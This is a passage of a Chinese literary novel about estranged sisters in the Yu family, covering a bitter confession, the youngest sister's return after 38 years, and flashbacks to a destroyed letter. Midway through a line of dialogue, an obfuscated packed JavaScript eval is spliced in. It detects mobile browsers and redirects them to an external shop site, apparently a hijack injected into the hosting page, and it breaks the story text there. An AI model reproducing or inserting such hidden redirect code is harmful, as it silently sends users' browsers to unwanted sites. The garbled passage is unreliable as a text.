“你不用说对不起,你对得起我!我好恨啊!姐姐,你当然知道我心里苦,你会不晓得我为么事苦吗?这屋里几时有我的位置?说出去,人都说你是个好大姐,我是这屋里最疯癫恶躁的那个。你待我好,你对得起我,我晓得,当然晓得!我还晓得,不是我俞兆萍是你妹妹,换个人是你妹妹,你照样对她好。”俞兆萍用手掌推着自己的额头、头皮,她竭力控制情绪,不让自己哭出来,“姐姐,你几时看得上我过?你还不如骂我、恨我!你们俞家的人要体面,什么是体面?姆妈想生儿子,对我们三姐妹不算好、不算坏,也就那样,但再怎么说,屋里条件比大多数人家好,他们也供我们仨念了书,我好像没资格说这种话。小妹跑了不体面、,我被退婚了不体面,姆妈她不作声,我也能感受到她的态度。我不快点嫁出去、嫁给梁挥他爸,我能怎么办?体面,体面,人一生都想体面!姆妈现在偏瘫了能体面,是我们在照顾,那我的体面呢?我自己的家像什么样子?我就算欠你们俞家的,这么多年我过得日子,不算是一种偿还吧?我早该还完了吧?我怎么把日子过成了这样?我这日子像假农药一样!赝品虽然杀不死虫,但药不死人,应该是好事吧?体面?啼笑皆非是体面?” 俞鸿雁看着妹妹的背影,用手迅速抹掉脸上的泪水,尽力用平和的声音说道:“我先回去了,晚点联系你。” 梁挥把俞鸿雁送到门口,他想说点什么,却说不出口。姨妈轻轻拍了拍他的肩,示意他快回房间去看他妈妈,她摆摆手,就离开了。 俞兆萍不想吵醒梁挥外婆,压着气、绷着颈,让自己不要发出声响。梁挥走到她身后,轻轻拍着她的背,小声唤着:“妈,没事的。” 俞兆萍回头看着儿子,梁挥帮母亲把老花镜取下、折好,放进眼镜盒,又抽了纸巾递给她。俞兆萍努力压住声音,还是压不下来,说道:“小鱼,你小姨的信,我后来找了的,那些垃圾早就被运走了。我是真跑回去找了的,我真的后悔,不该鬼火遮眼,不给家里说就撕了丢的。我是真的跑回去找了的……她也是的,未必不能再寄一封吧?怎么这么多年就不来信了?我是真的怕她在外面出事了,我是真的后悔。小鱼,我真的返回去找了信的,我真的找了的……”她再也压制不住情绪,哭出声来。 梁挥双手握着妈妈的手,轻声安慰:“我晓得,我晓得,没事了,妈,没事了。” 俞兆萍看着窗外,说道:“你小姨出事没多久,我就被退了婚。我这一生比哪个差过?我念书用功,工作稳定;我嫁给你爸爸,你爸爸做生意会赚钱;我还有你这样的好孩子——我孩子事业有成,还帮忙照顾偏瘫的尕尕,有几个人能有我家这样的好孩子?人活一口气,我比不上哪个了?” 梁挥很难过,他知道妈妈这些年不好过。他轻轻拍着妈妈的手背,说着:“妈,没事了,都过去了。没人怪您,很多事不是您能改变的。” 俞兆萍侧身抬头望着梁挥,说道:“小鱼,我当年就是要争一口气!我要证明,我怎么样都能过得好!你看,你爸爸待我不算坏,他出事后过了三年又好起来了,我不怨他——他一直很关心我,对家里人还大方。”她又低下头,顿了一会儿,又望向窗外:“我前年清明回复州拜祭你外公,在高铁上碰到那人了。他头发全白了,是遗传,他父亲也是那样的——他父亲是你丹小姨厂子的副厂长,明明姓何(本地方言里“黑”发“hé”音),你丹姨私下和同事叫他‘白厂长’。”说到这里,俞兆萍若有似无地苦笑了一声。 “他是到江城看病,看完回去。他和我说话,我告诉他我过得是多么好。他说他晓得,听老熟人讲过了。他看上去过得不好。哼,他怎么会过得好?他太太那种样子——她太太和我是同行,她们局长的老婆带着单位里一群人赌博,拉了一堆人下水!他生病了,还不是没人陪着看?他儿子长得也没有我儿子高大英俊。我有这么好的孩子,我这一生划得来了吧!划得来……未必我的命,就真像我的名字一样贱吧?” 俞兆萍终于撑不住了,伏在桌上嚎哭。 梁挥见母亲这样,他的心像一颗被不停抽动的陀螺般昏痛,他不停地轻拍着母亲的背。他想说,他爸是混蛋——出事那三年,就是连累了母亲,逃走把烂摊子全甩给太太和太太娘家,算什么东西?他想说,他爸爸就是待家里人不好,除了一直给钱家里,在外婆生病这事上装都不装,又逃了——在外面“疗养”都多久了?他不能说,这种时候不能说。他想要是妈妈能早点和姨妈说心里话多好,她们姐妹俩怎么就一个样子呢?都不开口,各吞各的苦,明明是那么亲近的人。想着这些,梁挥发出苦涩的笑,自己还不是一个样子?看着别人,自己照样身在其中,和爸爸一样,自己又算个什么东西呢? “妈,妈……没事了。”梁挥从背后抱住了母亲。 梁挥的外婆睁开眼睛,张着嘴巴,眼眶有泪,无神地望着天花板。她不敢发出声音,屏住呼吸后,狠狠地闭上眼睛。 梁挥赶出门给姨妈打电话,得知姨妈快上高铁了。 “我不要紧的,你不用过来了。我半个小时就到了,再打个车到屋,快得很。在家好好照顾你妈妈和尕尕。”俞鸿雁对着电话那头的侄儿子说道。 “那您先坐高铁回去的话,我现在开车过去。老房子那边我这几个月没去几趟,没有收拾;丹小姨要是住您那边,您要准备的也多,我先给丹姨订个好点的酒店,环境好一些,她住得的舒服些,您和她也能好好说说话。”梁挥着急地说着。 “小鱼……” “姨妈,我到那边差不多要一两点了,我已经约了阿姨上门打扫。午饭您记得吃。我晚上和您一起去接丹小姨。”梁挥生怕姨妈拒绝。 “好,那……麻烦你了。” 下午,梁挥接到了俞鸿雁,开车去酒店的路上,俞鸿雁在后排看着侄儿子的后脑勺,脑中翻腾出无数往事。 “姨妈,姨妈?您不舒服吗?酒店附近环境好,很清净的。待会儿您先看看,有什么问题我们再改进。”梁挥见姨妈精神不太好。 俞鸿雁提起神,头前倾点了两下,说道:“没事。你安排得蛮好的,让你费心了。待会儿我们看了歇一会儿,你先吃饭垫垫肚子,我等你小姨回来再吃——她九点钟才到站,还有几个小时呢。” “姨妈,这是我该做的,我也是俞家的人呀。我妈其实也很想见小姨,才一定要我过来的。她说的那些话您别往心里去,这么多年她一直睡眠不好,年纪大了脾气变得更急躁,前些年因为更年期身体不好还做了手术,您知道我爸那样的人……她自尊心强,怕在你们面前折了脸面,怕你看不起她,她心里和你一样苦。”梁挥小心翼翼说着,悄悄从前置镜看了眼姨妈。 俞鸿雁闭着眼,直挺挺地靠着座位椅背,左手搭着右手,规矩地放在双膝上。她这几天没有睡好过,和小妹联系上后,每次冷静克制的长通话结束,她才能尽情痛哭。房间里满是东西,她却感到空无一物——她什么也没有。夜里双手把住衣帽架哭,明明铁架子的冰凉透过她的手指,却直教她喉咙梗塞发烫、连心也被烙痛。 “小鱼,你妈妈小时候很漂亮可爱,周围的人都喜欢她,说起来都说‘这伢养得好,脸巴团团的,有福气’。她才几岁,就不喜欢大人逗弄她,有主意得很。尕尕生你妈时,你俞爹爹(外公)的哥哥家已经生了第二个儿子。尕尕看到你妈又是个女儿,很生气,一时气昏头把孩子推开,手重了,孩子摔地上了。你妈妈的背一直不好,根源在这里。她的背做过手术的事,你爸和你应该都不知道。我也不好揣测你尕尕的想法,她待我和你妈,没有对你丹姨看上去亲切,。其实生了三个女儿,旁人谁看不出来呢?但你尕尕和俞爹爹都是在单位工作的人,她也许是想要体面吧——对你丹姨好一些,面子上娇惯些,总能先堵上好事人的嘴。”俞鸿雁还是闭着眼,平缓地说着。她吸了下鼻子,继续道:“你丹姨的事,是你尕尕最先打退堂鼓。那时各种谣言都有,她想快点过正常日子,不想把船都打翻了,一家人栽河里。我想你妈对丹姨有怨,对你尕尕也是心情复杂的。她一直说自己是‘夹心饼干’,不受重视,说你丹姨是‘娇娇宝贝’,可哪里又有什么‘娇娇宝贝’呢?我从来没有真心恨过、怨过你妈妈,她是我的妹妹,谁会记自己姊妹伙的仇呢?她小时候很白,还是又软又卷的头发,最讨厌别人说她是‘假洋鬼子’;她个性强,在学校里不许同桌女孩过她桌子的‘界线’,放学了路过人家门口,被好几个那女孩的邻居小伙伴堵住,也不怕。你像你妈妈,三岁前都是大卷的浅色头发。” 窗外风吹着,细雨丝丝。俞鸿雁咳嗽了几声,梁挥忙把窗关上。他不知道对姨妈说什么,这种家族之苦,他不知道能说什么。 “小鱼。”俞鸿雁睁开眼睛,唤了梁挥一声。 “嗯,姨妈,我听着呢,您说。” 俞鸿雁被梁挥紧张又小心的样子逗得笑起来,小声说着:“没事,你不必介怀心上。姨妈老了,记不住事,只记得些陈谷子烂芝麻了。年纪大了,话多容易惹人厌。” “没有没有,您别这样说。” 俞鸿雁笑笑,又靠着椅背闭上眼:“我晓得,我不是说你厌弃我,我晓得你是怎样的孩子。小鱼,我也好想恨、好想怨啊,我不知道恨哪个。我只恨这襄江!襄江流到汉江,再由长江入海,人哪里晓得这一生会流到哪条河?小鱼,愈恨愈近,愈近愈远。” 梁挥愣住了,他再次通过前视镜看姨妈。闭着眼的姨妈面色平和沉静,像一尊古朴的观音。姨妈应该是忘了染头发,她遗传了外公,头发是粗质的亮银色——他想,她这么老了吗?梁挥还小的时候,有年中秋节,大家都在外公家小绿楼,外面来了挑着担子送观音的贩子,那是用劣质石膏粗糙刻相的菩萨。左邻右舍心里又气又骂,出于习俗忌讳,还是没有面露愠色,都表面恭敬地把菩萨“请”回了家。既看不上,又没办法。梁挥母亲气着说,简直是诈骗,三十块的破石膏,该给那贩子抓起来!那时姨妈找了块红布,把那菩萨包了起了,放阁楼搁着,家里才继续欢喜着吃团圆饭。 江对岸在大面积烧桔梗,烟雾飘过来,整个城市像被上了层磨砂的塑料膜。已经是霜降时节了,晚秋的风雨太凉。梁挥停好车后给姨妈开门,两人去看了给小姨订的房间。 “小鱼,怎么是这么大的套房?”俞鸿雁疑惑地看了看房间。 “姨妈,你们姐妹肯定有很多话讲,您可以在这边陪小姨多说会话,在这边过夜也好。” 俞鸿雁不好意思,总觉得麻烦了梁挥:“麻烦你了,你有心了。” “是我该做的。您先小睡一会儿吧,一大早去我妈那边,来来回回也累坏了。到点了我叫您,咱们去接小姨。”梁挥温和地回姨妈。 南站外面,俞鸿雁紧紧抓着栏杆,向出站口张望着。天气这么凉,居然还有蚊子,嗡得人焦躁。梁挥自然地挽住姨妈的手,俞鸿雁看了眼他,神色放松了一些,把手从栏杆上放下来。 “你小姨应该快出来了,半个小时前发消息我说,动车在夏口站停着,就一站到这边,应该快了。这会也不下雨了,真好,真好。”俞鸿雁像是在对梁挥说,也许是在对自己说。 一位穿着浅灰色亚麻薄外套的女士走出来,她定住脚步,看向梁挥他们那边后,挥了挥手,笑着推着行李箱走过来。还是梁挥提醒了姨妈,拉了拉她的胳膊,指向侧前方问道:“那是丹姨吗?” 两姐妹双手紧握在一起,都克制地笑着。 俞丹芳先开口了:“大姐,你瘦了好多。” 俞鸿雁紧抿着嘴,眼窝更凹了。她轻轻侧过身,告诉自己不要哭——妹妹回来是喜事,不能让她看见自己哭。快速平复心情后,她回过脸看着妹妹,笑道:“嗯,我老了,脸挂不住肉了。”捏了捏妹妹的手,又问道:“你冷不冷?带了厚衣服回来吗?家里这些天降温了,十一那些天还穿短袖呢,说变天就变天了。” “我不冷,高铁上有空调。你等了我这么久,冷不冷?”俞丹芳温柔地回道。 俞鸿雁忙拉着妹妹往一边走:“我不冷。我们回去,停车场就在那边,不远的,快到车上去,不到这边吹夜风了。” 梁挥轻轻拉过俞丹芳的行李箱,帮忙推着。俞丹芳笑着点点头道谢,看了他一眼,又看向姐姐,问道:“这是二姐的孩子?” 俞鸿雁赶紧说道:“哎呀,我真是的,都忘了介绍。这是梁挥,家里喊他‘小鱼’,是二妹的小儿子,前几天和你电话里聊过的。二妹还有个大女儿叫梁悦,悦悦的孩子读高中了,咱们家第四代都这么大了。” 三个人边走边说,俞丹芳仔细地看了梁挥好几眼,笑着对姐姐说:“小鱼的耳朵和二姐一模一样,圆圆的,大耳垂;皮肤白净,像二姐;头发也像二姐,是个很俊秀的孩子呢!” 俞鸿雁挽着妹妹,回道:“他长得很像我们爸爸,老头子生前最宝贝他了。他也讲良心,对外公外婆孝顺得很——之前老头子最后的日子,他一直守着照顾;现在姆妈偏瘫,他也在帮忙。喏,那个老屋就是他在住,他自己在复州开了家花园设计工作室。今天他找人把老房子全部打扫了一遍,就是为了迎接你回来,明天我带你回去看看。” “嗯,是像爸爸……”俞丹芳哽咽起来,“大姐,对不起,是我不好,没有尽孝,你和二姐担了我的责,我把屋里都拖累了,我……” 俞鸿雁大声打断她:“不说这了,不说了!你回来是喜事,没有人要怪你。家里都挂记着你,你过得好就好。这些年,我们是最坏的准备都做了,你能平安回来,就够了。你二姐要照顾姆妈,后天吧,我们看是后天还是外后,一起去夏口那边,到时候就见到她、见到姆妈了。姆妈还不晓得你回来了,等你这两天平复好心情,做好准备,我们再同她说。” 俞丹芳点点头,一只手捂着脸擦泪。俞鸿雁拍拍她的肩,轻声安慰道:“都过去了,不哭了。你能回来,就够了,我这生也算是功德圆满了,以后能安心闭上眼睛了。” 车上,俞鸿雁双手握住妹妹的左手,一直向右看着她——她要仔细看看妹妹,想穿过这鬼打墙般的三十八年,好好看看她。俞丹芳沉静平和地接住姐姐的目光,回握住姐姐的手,靠在姐姐身上。 在酒店附近的本地菜饭馆,梁挥没怎么吃。他想给姨妈和小姨多一点独处的空间,简单吃了几口菜,便说下午吃过了,要出去抽支烟。和她们打好招呼后,他就去了门外。他隔着玻璃,忍不住好奇地看了几眼小姨:小姨的眼睛很像他妈妈,比妈妈的更柔和;小姨的外套上别了枚胸针——银色绕丝的鸟巢,巢里镶嵌着三颗灰色的珍珠,一只归来的燕子张开翅膀,紧贴着巢沿。梁挥手插在裤袋里,无奈地笑了一下。自己这拙劣的借口,他戒烟都多少年了。一整天忙着,还没来得及联系妈妈,她肯定很急切地想知道小姨的消息。于是,他从口袋里摸出了手机。 “妈,还没睡吧?我们接到小姨了,现在正吃饭呢。明天带她去老房子看看,后天一起去您那边。”梁挥轻声对母亲说道。 电话那头,俞兆萍的声音有些疲惫:“嗯,接到就好,接到就好。唉,都怪我那会声音太大。你尕尕应该是晓得了,她一整天都睡不好,动来动去,问她也不作声,不和我讲话,像在置气一样。刚刚又给她擦了身子,换了衣服,她才睡着。” “嗯,您也早点休息吧。过两天我就回去帮您了。”梁挥回道。 俞兆萍忙说:“不是,不是,我没有抱怨的意思。我趁这会赶紧把衣服洗了、地拖了,搞完了就睡。你不用担心我……这两天多把搭手帮你姨妈,把你小姨关照好。” 送姨妈和小姨到酒店房间安顿好后,梁挥回了小绿楼。 梁挥白天没有细看,这会院子里灯开着,他发现墙角有棵野长的、一人高的红蓼草,挤挤攘攘的玫红色的花穗垂下,在夜色里泛着艳光。他想:钓点附近水岸边的辣蓼花,该开得一片片了吧?那年她要做酒曲,他专门跑那边剪了些带给她。他走过去掐了一小枝带上楼,插在房间电脑桌上那只她送的矮矮小小、带着圆耳的白陶小鼠小瓶里。 阳台的单人沙发上放着一个月亮玩偶。白天阿姨收拾时问过梁挥,他也不知道放哪儿,就搁在这了。这只戴着婴儿蓝睡帽的奶黄色毛茸茸弯月亮玩偶,闭眼微笑着,帽顶垂下来个小圆绒球——它其实是个热水袋套,以前配着的热水袋芯子,在他和石唯分开后找不见了。梁挥一个人在石唯小兴路房子住那段时间,总疑惑石唯怎么还给这月亮玩偶单独盖条小薄毛巾毯,后来问了她,她才回他是个热水袋套。石唯怕冷,念书时又被热水袋低温冷烫伤过脚,特地淘了这个毛月亮。梁挥这些年睡眠一直不太好,他也不知道为什么,他想不出过着省事又平和生活的自己,有什么失眠的理由。和石唯在一起后,他的睡眠问题缓解了很多,也许是她把毛月亮给了他,也许是她做的香薰蜡烛燃起来很助眠,也许……什么都没有意义了。他记起石唯在沙发上午睡时,人总是蜷成一团紧贴着靠背,她的右手会伸进枕头下,左手在枕头上紧紧抱着。在一起时,他好像没有关注过她的睡眠,相聚总是短暂的,他想,她的睡眠应该也不会好吧。 梁挥坐到沙发上,阳台的冷风吹得他太阳穴发麻。天空像冬天糊了层雾气的玻璃窗子,他多想像用手指在玻璃窗上写字一样,把天上的灰给抹掉。抹不掉的。天上没有月亮,看着手里的毛月亮,他重重地向后靠着。热水袋芯子没了,石唯之前种在院子里的蜜糖玛格丽特小菊,在今年夏天热死了。时间让一切变成灰雾,记忆却像热水袋芯子,是温的。今天,他太累了。 第二天清早,俞丹芳就起来洗漱。俞鸿雁迷迷糊糊醒过来,慌忙翻起身问道:“丹芳,怎么这么早?怪我夜里一直和你说话,应该让你早点休息的,没睡好吧?” “没有没有,月经转回去了之后,身体一直多汗少眠。年纪大了就是这样,睡眠浅。姐,你再睡一会儿吧。” 俞鸿雁怔了一下——小妹今年也有五十八岁了。 早饭两人没在酒店吃,俞丹芳说想吃油墩子,俞鸿雁带着她一路走,过一道道桥,去附近袁镇的菜市场过早。 卖油墩子的摊头没问到,卖欢喜坨(炸麻团)的铺子也没有,记忆里卖炒绿豆皮的摊主,现在改卖塑料杯子现封的养生粥了。俞鸿雁找不到许多老摊子了,她对这里不再有自己以为的熟悉。老陈的老家是袁镇,在儿子陈羽小时候,一家三口过节总过来。那年举报丈夫后,她也离开了原来单位,在父亲老友的帮助下,转职做了日语教师。 回酒店路上,俞丹芳见姐姐情绪不太高的样子,笑道:“姐,没事,我也不是特别馋油墩子。吃不上欢喜坨,咱们也要欢欢喜喜的。” 俞鸿雁笑起来:“嗯,没事。这边变化太大了,我和陈羽爸爸分开后,好多年没来过了。你二姐以前就在这边储蓄所上班。” 俞丹芳点点头:“我记得,记得二姐在这边上班。” 两人又走过一道道桥,到了二号闸那边。秋色撩人,是俞丹芳记忆里的红橙色——红尘里滚过一遭后,想不到还能再见到的故土柔色。俞丹芳走到闸口前方的桥栏边倚着,三号闸和下榻酒店就在对面,河两岸的蓼草铺满了粉色的小花,两岸都有三三两两垂钓的人。 俞鸿雁走到小妹身边后,轻轻揽住她的背,也望向对面。 “这边环境很好。大姐,这次让你们费心了。”俞丹芳轻声说道。 “你真是……就不说这种话了。”俞鸿雁轻轻捏了捏妹妹的肩,“小鱼找的这边,这边安静,老干部疗养中心也在这一块。这孩子还真操了心。你二姐……她也是挂念你的。” “我晓得,我晓得,我对她没有怨……是我对不起她,对不起家里。”俞丹芳想起二姐就心有愧。她还记得,二姐每次用蓼花做酒曲都要发霉,每次她笑二姐,二姐从来都经不起逗,一逗就大发脾气,大姐拿她们俩没办法。 “莫说这话了哦!你好好的,我们已经很知足了。” 两人继续走着,地上有银杏树落下的叶和果,俞丹芳抬头望去:枫杨树上挂着一串串枯果,苦楝树叶子变黄了,挂着黄绿色的苦楝子,悬铃木一树枯叶。 秋色禁不起细看,美,也残忍,让人心痛。 路旁几十年的樟木,噼里啪啦落着乌紫色的小果子,行人走过,踩得咔嘣一声响。朴树的叶子全黄了,叶片黄里透着点点要细看才能发现的粉。 俞鸿雁顺着小妹的眼神看过去,说道:“老家后面也种了樟树和朴树,三棵樟树,是老头子想着等我们出嫁砍了做箱子装嫁妆的。结果我们姐妹都是仓促嫁的。老家祖屋没人住,就大伯一家在那边,偶尔帮忙去打扫一下。那三棵树,十几年前就让我们堂哥卖了,他真是的,卖自己家树,连咱们家的也砍了!你二姐去那边和他大吵一架,看在伯母这么多年待我们不错,也就算了。老头子的心愿是葬在祖屋后面,我们遂了他的愿。” 俞丹芳俯下身,捡起一片朴树叶子。小时候,比起樟树,她更喜欢朴树,她喜欢锯齿状的朴树叶子。姐妹们玩闹时,她总调皮地用叶片吓唬二姐,说是“叶子刀”来锯二姐。二姐捡起树枝就追得她满处跑,她再嘻嘻哈哈去找大姐告状。 “姐,待会小鱼过来接我们去家里,下午能再让他送我去趟祖屋吗?我买点东西看看大伯母。我这次回来,先不想让大多亲戚晓得——他们也都年纪大了,姑妈那边我就不去了。我想回趟祖屋,也……也去看看爸。”俞丹芳说到最后,声音哽咽。 “好哦,好啊,是要回屋里看看了。吃过午饭,就让小鱼送我们去祖屋。”俞鸿雁拍了拍妹妹的肩。 绿化工人在修剪红紫薇枝条,枯枝全部剪掉。俞丹芳见状别过头去,不看那边。行道旁的紫薇花木,都是把苗干交叉扭曲编织在一起,形成网眼,做成瓶造型或葫芦造型。 俞鸿雁看了,笑道:“哦,冬天花木要剪枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988393|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我有个学生,特别不喜欢这种造型的,她不喜欢扭曲自然姿态的花木,说看着都心痛。还有梁挥,他之前接个造园的活,东家硬是要加个‘宝葫芦’紫薇,他也是说最不喜……”俞鸿雁突然不说了,嘴角耷下来,叹了口气。 “我小孩的爸爸,喜欢各种盆景苗木,他最喜欢扭曲枝干造型。我……我不喜欢。”俞丹芳勉强地笑了笑。 “丹芳,现在姆妈不在夏口,就在我这边。我和你二姐一人照顾一个月,之前姆妈一直和我过。要是不跶倒那一跤,姆妈还是享福的。我们这些年,过得蛮好的,比普通人家条件也稍微好一些,你不要心里有负担。换了好几个护工,姆妈都不依,一来外人,她就以为我们要害她、抛弃她。好在小鱼也帮忙照顾,这么长的日子,我和你二姐也都适应了。你二姐就是嘴巴犟,她心不枯的。”俞鸿雁见小妹听完在落泪,伸手给妹妹揩掉眼泪,“你不哭,没事的。你昨天又说出钱,又要回来照顾姆妈,真的不急。我和你二姐,还有姆妈,都不缺钱。你先紧着自己的事吧,把自己顾好了再说。以后,随时想回来就回来,这里永远有你的屋。” 俞丹芳点点头,捂着脸不说话,俞鸿雁抱着妹妹的肩轻轻拍拍她。 “丹芳,当年你那条桃心金项链,一直在我手里保管着。下午从祖屋回来,我们一起去我那边,我交还给你。”俞鸿雁说罢,把妹妹揽得更紧了。 俞丹芳在姐姐怀里哭出声来。 当年,俞丹芳去锦城找男友小林,到了那边的服装城,才打听到大刘根本没带着小林去过。她辗转找到利州,才了解到小林在那年火车和客车相撞事故中受了重伤,小林的家人从南方过来,把他带回去治疗——南方医疗条件更好。她那时就是一根筋,一心想着见到自己的爱人,压根没想到先回家想办法,反倒一鼓作气跑到南方去了,途中还染上了严重的肺结核。她并没有见到小林,小林的亲属把她送进医院治疗,待她身体完全恢复,已经是九个月后。 他们家还给了她一笔钱,他们说小林去了港城亲戚那边,以后不会再去复州了。原来,小林是被大刘骗了。大刘沾了赌,欠了一大笔钱,便设局借去锦城进货为由,从小林身上搞钱——他知道小林为了准备结婚,手头有不少积蓄。小林命大,钱没了,人好歹逃了,可偏偏紧急跳上的那辆客车出事了。小林家属让俞丹芳死了和小林见面的心,他们家不去复州追究大刘,毕竟强龙难压地头蛇,儿子捡回一条命,已经是祖上积德、老天保佑,他们不会让儿子再和复州有任何牵扯。至于小林和俞丹芳的婚事,也绝无可能了。 俞丹芳见不到小林,又受不了这些精神打击,也不敢回家。万念俱灰时,她也想过一了百了。有天在桥头游荡时,被几个女工救下。她什么也不说,只是哭,后来领头的王姐把她带回住处。这位王姐曾在复州的预制板厂当过小工,粗略了解了俞丹芳的情况后,帮她进了一家厂子做女工。她有文化、懂技术,后来慢慢在厂里转回了老本行。 离家前几年里,羞愧混杂着恐惧和软弱,俞丹芳很想联系家里,又很怕面对这一切。她很思念父母和姐姐,又不敢面对自己突然离家对家里造成的后果。她给好友江群寄过一封信,想打听家里的情况,她寄的地址是江群工厂,不知是不是没寄到,并没有回应。在那位王姐的鼓励和劝说下,俞丹芳在离家三年后,终于给家里寄了一封信,结果并没有回音。她想,也许家人没有原谅自己,也不愿原谅自己。 俞丹芳在三十岁时生下了一个孩子,她爱人是针织厂的老板,她刚换到这个厂子工作,就被他猛烈追求。她以为他给了她一个家,却不知道他在对岸有家。在孩子十岁那年,这虚有其表的美好被撕开,她再一次失去了她最在意的家庭和爱。孩子被送去对岸,由他的妻子抚养,他的生意转到了吴州。她联系不上他,也找不到孩子。 也是那一年,在那种让人无法麻木的痛苦下,她想要回家看看。她真的很想父母亲和姐姐,她开始懂了一点点他们当初的痛苦。她是和一位开美容院的同乡友人一起返乡的,那位友人说起要回家探亲,她当即就决定一起。对方一路都温柔地宽慰她,鼓励她面对。 到复州后,她先找到了大姐原先的单位,发现大姐已经不在那边工作,也没有人知道大姐的去向;她鼓起勇气回小绿楼,院门和围墙都被泼了红油漆,大门紧闭,无人应答;她又找到二姐工作过的储蓄所,对方一听到二姐名字,就敷衍道“没这人”;她去找江群,发现已经没有丝织厂了。她不知道怎么办。现在想来,为何当初不再去一趟祖屋,找乡下亲戚打听?可能还是觉得自己辱门败户,实在不敢面对。 那年,在同乡友人忙完家事准备返回莞城时,问她:“要再试着找找吗?” 她摆摆手,不再说话。一晃,这都快二十年了。 梁挥把姨妈和丹小姨接到小绿楼家里。小姨这儿看看、那儿瞧瞧,眼里满是愧疚和不安。她在书房看到那张自己穿着塔克褶衬衫和大姐的合照时,终于流下泪来。梁挥慌忙抽了纸巾给小姨拭泪,说道:“我本以为家里没有小姨您的照片,有次无意发现了这张,应该是俞爹爹特地压在另一张照片下面的。他一直很挂记您,我们都很挂记您。” 开车回祖屋路上,三人一路无言。梁挥见姨妈有些疲惫,便让她小憩一会儿;丹小姨一路望着窗外,时不时捂着手帕擦泪。 俞鸿雁在车上睡得迷糊,总觉得像是看到了父亲——他还是女儿们都在家时,在小绿楼院子里给月季埋花肥的样子。 俞鸿雁在那次石唯告诉了她所有找到的、关于那个所谓俞丹芳“朋友”——“远房表姑”的信息后,便关注了那人的短视频账号。由于一直给那个好几年没更新的账号发私信,却没有的回音,她想着不能这样一直等下去。她仔细观看了每一条历史内容,发现有段时间,那人频繁发了一个本市幼儿园的视频。她通过同样在教育系统工作的熟人朋友,一起实地去那个幼儿园打听,了解到那人的一位熟人在幼儿园食堂工作,前几年那人回来,总过来找这位朋友叙旧。辗转联系上那人后,虽然这位友人和俞丹芳多年未联系,却还是尽力帮忙,最终帮助俞鸿雁联系上了妹妹。 俞兆萍在给老母亲喂水,母亲喝完后,突然拉住她的手,眼巴巴地看着她,眼里有泪。 “姆妈,您家……” 俞母流下泪来,小声唤着:“丹丹,丹丹……” 俞兆萍坐下来,双手覆在母亲的手上,轻声安慰道:“您家不哭额,明天丹芳就和大姐回来了,来看您家!是喜事,不消哭啊!” 那年元宵节,梁悦才两岁,俞兆萍带着孩子回娘家过节,大姐也回来了——那时她孩子才几个月大。俞父专门给两孩子分别做了兔子和花蛇花灯,大家笑着说孩子太小,都不会玩,俞父只道:“那孩子妈玩吧,你俩也是我孩子”,大家说说笑笑,家里难得有过节的气象。 俞兆萍去外面倒垃圾时,邮递员小施同志刚好来送信,老远就和她打了招呼。 “俞姐好!你好久没过来娘家了吧?元宵快乐!新年快乐!” 俞兆萍心情不错,笑着回道:“是啊,好久没过来了。元宵快乐!小施啊,不是我说你,元宵过了就不算过年了,还新年快乐呢!谢谢你啊!你怎么今天还送信呢呀?” 小施收起笑容,凑过去,小声说:“有俞主任的信,上面地址写的是21号,字偏偏粘黏在一起,我看成4号了,又没过细看收件人,直接送到4号楼吴主任家信箱去了。吴太太昨天碰到我,大过年的把我骂了一通,说我给他们家带晦气,‘啪’地把信甩我身上了。我今天特地送过来了,的确是我不好,给你们添麻烦了。” 俞兆萍笑道:“没事没事,多谢你今天跑这一趟哈。”又愤愤不平地道,“吴主任他老婆和他一样,放得出什么屁!我家的信怎么就晦气了?他就是嫉妒我爸!平时和我爸面子上都不敷衍,招呼都不打,一个字不说,高傲得很呢!自己没本事,背后区区拱拱别人倒蛮能的啊!” 小施打好招呼就走了,俞兆萍笑笑点头后,低头看了看信封。这一看,右手的垃圾袋也掉了——地址是岭南那边,寄信人写着“小妹”。俞兆萍一时气急,心想还真是撞了晦气! 过年过节本该是热闹喜气的日子,一想到这几年因为小妹受的苦,那天大的委屈就压下来。她不知怎么想的,想都没想就把信撕了,顺手丢手边垃圾袋里,走快步到不远处大垃圾桶,出气般狠狠扔进去。 等俞兆萍反应过来时,她正抱着梁悦来回踱步哄孩子睡觉。她想:地址是岭南,那小妹是去找小林了?不对啊,小林当初是去西南锦城进货,他们怎么不回来,直接去了岭南呢?当初小林的铺子被人放了火,带小林去西南进货的大刘,被追赌债逃跑了……越想越不对劲,她把孩子一把推进梁烈怀里,转身着急往门外跑。可垃圾已经被收走了,她当场崩溃,破口大骂:“谁大过年的还收垃圾。”俞鸿雁见她行为反常,忙把她拉进门劝了劝。俞兆萍却愈发气起来,对俞鸿雁发了一通无名火。 事情没几天还是被俞鸿雁知晓了——她碰到了小施,他提起来给俞主任送错信的事。俞鸿雁为此和俞兆萍闹了好一阵子,但也不好让父母亲知道晓。此后,俞鸿雁更加坚定了不能放弃寻找小妹的决心;俞兆萍受不了俞鸿雁这般固执,更加排斥家里提到小妹。她很委屈:明明自己是最大的受害者,到头来倒怪到自己头上了? 八十年代末,复州预制板厂和砖厂,有很多外地来的工人,女工也多。王三女是随同乡过来打工赚钱的,家里欠了债。 梁烈在家里的预制板小厂子帮父亲的忙,他家这厂子,有点灰产的意思。他对厂里做活的女工更照顾一些,特别是看到外地来的更不容易。他喜欢王三女这个灵活大胆有主见的女孩,两人的交流也比旁人多些。王三女的名字是家里随便起的,她说自己要是一片云就好,能飘到想去的地方,天大地大,总有她一口饭吃。梁烈听了,就叫她小云了。 小云在复州辛苦做工没赚到多少钱,加上母亲病重,要她回乡嫁人,她便和同乡们商量要回老家了。梁烈偷偷给了她一个信封,里面有六百块钱和一枚玉戒指。这枚玉戒指,是梁烈托跑边疆线大车的姑父带回来的。他想小云明白自己的心意。后来,他不顾家里劝阻,跑了小云老家一趟。他没有找到小云,反倒被她家里打了一顿,还被扭送到派出所。好消息是,小云没嫁人;坏消息是,小云把钱留给家里,人走了。有人说她去南方打工了。 